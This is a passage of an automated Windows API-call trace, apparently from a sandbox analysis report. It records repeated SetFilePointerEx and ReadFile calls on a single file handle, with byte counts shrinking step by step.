lpOverlapped=0x0) returned 1 [0031.902] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.902] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.902] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.903] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.903] GetLastError () returned 0x0 [0031.903] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.903] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.903] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.903] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.903] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6be, lpOverlapped=0x0) returned 1 [0031.903] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.903] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.904] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.904] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.904] GetLastError () returned 0x0 [0031.904] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.904] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.904] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.904] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.904] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6b6, lpOverlapped=0x0) returned 1 [0031.904] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.905] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.905] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.905] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.905] GetLastError () returned 0x0 [0031.905] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.905] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.905] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.905] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.905] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6ae, lpOverlapped=0x0) returned 1 [0031.906] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.906] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.906] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.906] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.906] GetLastError () returned 0x0 [0031.906] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.906] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.906] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.906] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.906] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6a6, lpOverlapped=0x0) returned 1 [0031.907] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.907] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.907] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.907] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.907] GetLastError () returned 0x0 [0031.907] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.907] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.907] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.907] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.907] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x69e, lpOverlapped=0x0) returned 1 [0031.908] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.908] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.908] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.908] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.908] GetLastError () returned 0x0 [0031.908] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.908] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.908] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.908] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.909] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x696, lpOverlapped=0x0) returned 1 [0031.909] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.909] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.909] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.909] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.909] GetLastError () returned 0x0 [0031.909] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.909] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.909] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.909] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.910] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x68e, lpOverlapped=0x0) returned 1 [0031.910] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.910] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.910] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.910] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.910] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.910] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.910] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.910] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.910] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x686, lpOverlapped=0x0) returned 1 [0031.910] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.910] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.910] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.911] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.911] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.911] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.911] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.911] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.911] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x67e, lpOverlapped=0x0) returned 1 [0031.911] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.911] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.911] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.911] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.911] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.911] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.911] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.912] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.912] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x676, lpOverlapped=0x0) returned 1 [0031.912] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.912] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.912] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.912] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.912] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.912] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.912] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.912] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.912] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x66e, lpOverlapped=0x0) returned 1 [0031.912] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.912] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.912] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.913] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x666, lpOverlapped=0x0) returned 1 [0031.913] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x65e, lpOverlapped=0x0) returned 1 [0031.913] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x656, lpOverlapped=0x0) returned 1 [0031.913] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x64e, lpOverlapped=0x0) returned 1 [0031.913] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x646, lpOverlapped=0x0) returned 1 [0031.913] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x63e, lpOverlapped=0x0) returned 1 [0031.913] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x636, lpOverlapped=0x0) returned 1 [0031.913] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x62e, lpOverlapped=0x0) returned 1 [0031.913] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x626, lpOverlapped=0x0) returned 1 [0031.913] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x61e, lpOverlapped=0x0) returned 1 [0031.913] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x616, lpOverlapped=0x0) returned 1 [0031.914] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x60e, lpOverlapped=0x0) returned 1 [0031.914] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x606, lpOverlapped=0x0) returned 1 [0031.914] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5fe, lpOverlapped=0x0) returned 1 [0031.914] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5f6, lpOverlapped=0x0) returned 1 [0031.914] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5ee, lpOverlapped=0x0) returned 1 [0031.914] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5e6, lpOverlapped=0x0) returned 1 [0031.914] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5de, lpOverlapped=0x0) returned 1 [0031.914] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5d6, lpOverlapped=0x0) returned 1 [0031.914] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5ce, lpOverlapped=0x0) returned 1 [0031.914] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5c6, lpOverlapped=0x0) returned 1 [0031.914] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5be, lpOverlapped=0x0) returned 1 [0031.915] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5b6, lpOverlapped=0x0) returned 1 [0031.915] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5ae, lpOverlapped=0x0) returned 1 [0031.915] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5a6, lpOverlapped=0x0) returned 1 [0031.915] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x59e, lpOverlapped=0x0) returned 1 [0031.915] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x596, lpOverlapped=0x0) returned 1 [0031.915] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x58e, lpOverlapped=0x0) returned 1 [0031.915] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x586, lpOverlapped=0x0) returned 1 [0031.915] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x57e, lpOverlapped=0x0) returned 1 [0031.915] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x576, lpOverlapped=0x0) returned 1 [0031.915] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x56e, lpOverlapped=0x0) returned 1 [0031.916] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x566, lpOverlapped=0x0) returned 1 [0031.916] ReadFile (in: hFile=0xc8, 